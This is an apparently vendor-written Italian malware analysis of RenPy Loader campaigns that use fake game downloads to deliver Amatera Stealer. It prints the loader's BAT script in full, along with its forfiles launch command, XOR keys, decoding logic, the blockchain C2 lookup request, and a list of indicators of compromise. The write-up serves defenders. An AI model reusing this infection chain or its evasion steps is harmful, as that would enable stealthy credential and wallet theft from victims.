Abbiamo individuato diverse campagne che utilizzano falsi download di giochi, mod, crack e software per diffondere RenPy Loader. Una volta installato, il loader avvia una complessa catena di infezione in più fasi che sfrutta MSBuild e la tecnica EtherHiding prima di rilasciare, infine, Amatera Stealer.
Amatera è un infostealer, ovvero un tipo di malware progettato per sottrarre informazioni sensibili da un dispositivo infettato. Può prendere di mira password e altri dati memorizzati nei browser, nei portafogli di criptovalute, nelle estensioni dei browser, nelle app di messaggistica e nei file locali. Le credenziali e i dati di sessione sottratti potrebbero inoltre consentire agli aggressori di accedere agli account online della vittima.
La vittima potrebbe vedere quello che sembra un normale gioco o un programma di installazione, mentre il malware opera silenziosamente in background.
RenPy Loader, noto anche come RenEngine Loader, è particolarmente interessante perché sfrutta in modo improprio Ren’Py, un motore legittimo utilizzato per creare romanzi visivi, giochi basati sulla trama e narrativa interattiva. Nascondendo codice dannoso all’interno di software associato al mondo dei videogiochi, gli autori degli attacchi possono far apparire i propri download più credibili agli occhi di chi è alla ricerca di giochi, mod o software crackato.
Abbiamo già osservato in passato come gli autori degli attacchi abbiano sfruttato in modo improprio strumenti di sviluppo legittimi e framework software emergenti, tra cui Bun e Deno, per diffondere malware. RenPy Loader segue lo stesso schema: gli autori degli attacchi abusano di tecnologie legittime per mascherare le attività dannose, complicare la catena di infezione e rendere più difficile il rilevamento.
È stato inoltre osservato che RenPy Loader distribuisce anche altri malware, tra cui HijackLoader e Lumma Stealer, a dimostrazione del fatto che il payload finale può variare da una campagna all’altra.
In questo blog analizziamo una catena di infezione in cui Ren’Py decodifica un archivio ZIP contenente un file BAT e diversi file di progetto MSBuild. Questi file caricano un componente .NET infettato da un trojan, che a sua volta decodifica un altro componente dannoso.
Tale componente dannoso utilizza una tecnica denominata EtherHiding per individuare il proprio server di comando e controllo (C2). Anziché memorizzare l’indirizzo C2 direttamente all’interno del malware, gli autori dell’attacco lo nascondono nei dati archiviati su una blockchain pubblica. Il malware scarica quindi le fasi successive dell’attacco da quel server, rendendo più difficile identificare e neutralizzare l’infrastruttura degli autori dell’attacco.
Infine, esaminiamo i payload aggiuntivi che, in ultima analisi, decrittografano ed eseguono Amatera Stealer.
I download fasulli infettano il tuo dispositivo
L'infezione ha inizio quando un utente scarica un presunto gioco, una mod, un crack o un programma. Abbiamo individuato file dannosi distribuiti tramite:
- download fasulli download
- Pagine di itch.io
- Servizi di condivisione file come Wormhole, GoFile, Google Drive e MEGA
Ecco alcune delle pagine individuate che danno inizio alla catena di infezione:
In diversi casi, cliccando su un download l'utente veniva reindirizzato verso download altro download fasullo. Queste pagine presentavano design diversi e nomi di servizi inventati, contribuendo a far apparire le campagne meno ripetitive e rendendo più difficile il riconoscimento dell'infrastruttura dannosa.
Di seguito sono riportati alcuni esempi di download fasulle utilizzate per distribuire l'archivio dannoso:
L'utente scarica un archivio contenente un file denominato Setup.exe. L'apertura di questo file avvia la catena di infezione.


La vittima vede una schermata di caricamento o di installazione, ma in sottofondo è in esecuzione un codice dannoso.

Come stare al sicuro
Alcune precauzioni possono ridurre il rischio di scaricare giochi o software dannosi:
- Download e software dai siti web ufficiali, dagli app store affidabili o da piattaforme di distribuzione consolidate.
- Presta attenzione ai software crackati, alle mod non ufficiali e alle versioni gratuite dei giochi a pagamento.
- Fai attenzione quando un download ti reindirizza attraverso diversi siti web sconosciuti o servizi di condivisione file.
- Controlla il contenuto degli archivi scaricati prima di aprire file eseguibili come
Setup.exe. - Cerca nomi di file insoliti, immagini o file di testo non pertinenti e contenuti che non corrispondono a ciò che intendevi download.
- Utilizza un software anti-malware in tempo reale come Malwarebytes.
- Mantieni aggiornati il sistema operativo, il browser e il software di sicurezza.
I responsabili di queste campagne creano continuamente nuovi siti web e modificano download loro download . Un programma di installazione dall'aspetto professionale o un servizio di condivisione file ben noto non garantiscono che un download sicuro.
Analisi tecnica del caricatore RenPy
Ren’Py è un motore gratuito e open source per la creazione di romanzi visivi, giochi basati sulla trama e narrativa interattiva. Ren’Py consente l’integrazione di script Python, che gli hacker sfruttano per inserire codice dannoso.
In questo caso, abbiamo individuato codice dannoso nei seguenti file e percorsi:
|
Percorso |
Descrizione |
|---|---|
|
|
Classi anti-sandbox |
|
|
Caricatore |
|
|
Configurazione crittografata con XOR |
|
|
ZIP crittografato con XOR |
Il caricatore di primo stadio estratto da libwin32.rpa esegue le seguenti operazioni:
- Legge il file di configurazione
data/.GEge lo decifra utilizzando la decodifica Base64 e l'operazione XOR con la chiave81034149cd6f48c8821340204f92766e. Questo file di configurazione contiene la password utilizzata per estrarre il file ZIP, insieme ad altri dati di configurazione utilizzati dal programma di caricamento. - Chiamate
sys_config.is_sandboxed()e termina l'esecuzione se viene rilevata una sandbox. - Decrittografia XOR
data/j3lpTcg7kBRN.E3utilizzando la chiaveA50YyY1per scaricare il file ZIP. - Estrae il contenuto del file ZIP in una cartella casuale all'interno di
%TEMP%/tmp-{5 digits}-{12 characters}e scrive un:Zone.Identifierflusso di dati alternativo (ADS) conZoneId=0per rimuovere il "Mark of the Web" e aggirare SmartScreen. Inoltre, inserisce un codice casualeREMstringa nel file BAT estratto. - Lancia il carico utile utilizzando
forfiles.exe. - Invia MAC del dispositivo e l'ID della campagna a un sito web di tracciamento.


In questo caso, il file BAT estratto è stato eseguito utilizzando il seguente comando:
forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"
Contenuto del file BAT:
@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal
Il file BAT eseguito svolge le seguenti operazioni:
- Si riavvia in una console nascosta o senza interfaccia grafica:
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
- Abilita le funzioni delle proprietà MSBuild, consentendo l'utilizzo di metodi aggiuntivi quali
AppDomain.CurrentDomain.Loadda eseguire:
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
- Esegue
MSBuild.execonNancy.csprojcome file di progetto. Durante la valutazione del progetto, una funzione di proprietà MSBuild dannosa esegue la decodifica esadecimale e carica in modo riflessivo la DLL successiva.
La DLL Nancy infettata da un trojan e il bytecode personalizzato
Nancy.csproj importa i tre file estratti Nancy.csproj.user, Internal.props, e Nancy.Compile.targets. La DLL dannosa è suddivisa in tre valori memorizzati in questi file.

Nancy.csprojNancy.Compile.targets concatena i tre valori per decodificare in esadecimale la DLL ed eseguire il DefaultEvaluator5 metodo che utilizza AppDomain.CurrentDomain.Load.CreateInstance.

DefaultEvaluator5La cosa interessante è che Nancy.csproj ha una duplice funzione: è il progetto MSBuild utilizzato per eseguire il caricatore di prima fase e contiene anche la fase successiva decodificata dal caricatore.
La DLL è una versione trojanizzata della libreria Nancy .NET ed è un caricatore .NET offuscato con codice dannoso implementato nel DefaultEvaluator5 classe. Alcune delle funzionalità della DLL sono implementate in bytecode personalizzato eseguito da questo metodo main.

La DLL esegue le seguenti operazioni:
- Decifra le stringhe dalle risorse utilizzando la decifrazione XOR a chiavi multiple.
- Risolve le API utilizzando l'hashing delle API e
GetDelegateForFunctionPointer. - Modifica le impostazioni di rete, tra cui la disattivazione della convalida dei certificati TLS e la configurazione del proxy predefinito del sistema.
- Esegue operazioni anti-forensi.
- Legge il
_czzfvariabile d'ambiente, che punta alla precedenteNancy.csprojfile, quindi lo decodifica e lo esegue.
Il principale DefaultEvaluator5 Il metodo recupera le stringhe e interpreta il bytecode contenuto nelle seguenti risorse:
Nancy.Runtime.mvlorimu: Contiene il bytecode personalizzato. Il bytecode viene interpretato da_pve_sro. Implementa 23 codici operativi utilizzati per decriptare altre stringhe e caricare la DLL della fase successiva.Nancy.Data.tcnlhxweNancy.Resources.kxxodp: Contiene le stringhe crittografate e gli altri dati utilizzati per la decrittografia, tra cui le chiavi, le lunghezze, gli indici e la S-box.
Le stringhe vengono decifrate utilizzando il seguente algoritmo:
out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]
La fase successiva della DLL, GollopDevest, viene decodificato dallo stesso Nancy.csproj file che utilizza la seguente logica e caricato con AppDomain.Load:
for i, k in enumerate(marker_int):
if k < 256:
payload[i] = k
else:
payload[i] = marker_int[k-256]

Pack indicatoriEtherHiding e Amatera Stealer
La fase successiva dell'estrazione è una DLL denominata GollopDevest.dll, un programma di download .NET che utilizza la tecnica EtherHiding per individuare il proprio server di comando e controllo (C2) e download fase successiva.
Il dominio C2 crittografato viene ottenuto tramite un JSON-RPC di Ethereum eth_call richiesta di bsc-dataseed.binance.org:
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}
Questo downloader EtherHiding fa probabilmente parte di un'operazione di tipo "malware-as-a-service" (MaaS), poiché ne abbiamo rilevato la distribuzione anche in altre campagne, tra cui quelle di ClickFix.
Vengono quindi scaricati altri tre payload: due DLL .NET denominate PavinWide (una DLL anti-analisi) e GollopDevest (una DLL di caricamento) e una DLL in C++ denominata LanoseThrip, che alla fine decrittografa e carica Amatera Stealer.
In questo caso, tali payload sono stati scaricati da:
/assets/ExponeAboard.json/assets/MailersKogasin.json/assets/LanoseThrip.json
Le DLL .NET sono fortemente offuscate tramite l'appiattimento del flusso di controllo e chiamate indirette tramite calli/ldftn, la crittografia delle stringhe con diversi algoritmi, codice inutile, codice inattivo e stringhe fittizie come i percorsi URL.
L'analisi di queste DLL è ancora in corso e verrà approfondita nei prossimi post del blog.
Indicatori di compromesso (IOC)
Domini
downpro[.]net– download fasullomacisofile[.]sbs– download fasullovisitmama[.]blog– download fasullovisitmama[.]guru– download fasullogetgamerfree[.]com– download fasullofullgames[.]digital– download fasulloflingbase[.]net– download fasullocitronemu[.]com– download fasullofilemodo[.]xyz– Infrastruttura di distribuzionestorage06x[.]cfd– Infrastruttura di distribuzionep03sil[.]cyou– Infrastruttura di distribuzionewimsedas[.]xyz– Infrastruttura di distribuzioneagainstmor[.]store– Infrastruttura di distribuzionehost03q[.]cfd– Infrastruttura di distribuzionecloud01y[.]cfd– Infrastruttura di distribuzionestorage11x[.]cfd– Infrastruttura di distribuzionestorage04x[.]cfd– Infrastruttura di distribuzionehost82p[.]cfd– Infrastruttura di distribuzionecloud05y[.]cfd– Infrastruttura di distribuzioneanalyticstrack-pzh[.]click– Sito web di tracciamentologin.orbitalframework[.]cc– Amatera Stealer C2
Indirizzi IP
144.124.251[.]171– Utilizzato per ottenere carichi utili aggiuntivi195.63.140[.]33– Utilizzato per ottenere carichi utili aggiuntivi78.40.196[.]252– Utilizzato per ottenere carichi utili aggiuntivi
Hash dei file (MD5)
29203ca123d51b1b33505a0813d360df– Caricatore di primo livello (DLL trojanizzata)810F257542018BE0FC62AF542D13D012– DLL GollopDevest (DLL di download)681DB529E402467A4B0567C82A350FC0– DLL PavinWride (DLL anti-analisi)2E116632248A7E1F8AA6BCA92D9C1C90– DLL GollopDevest (DLL di caricamento)F8453EFE408CE25B9484F872797E3D63– Carico utile finale
«Una delle migliori suite di sicurezza informatica al mondo.»
Secondo CNET.Leggi la loro recensione →
















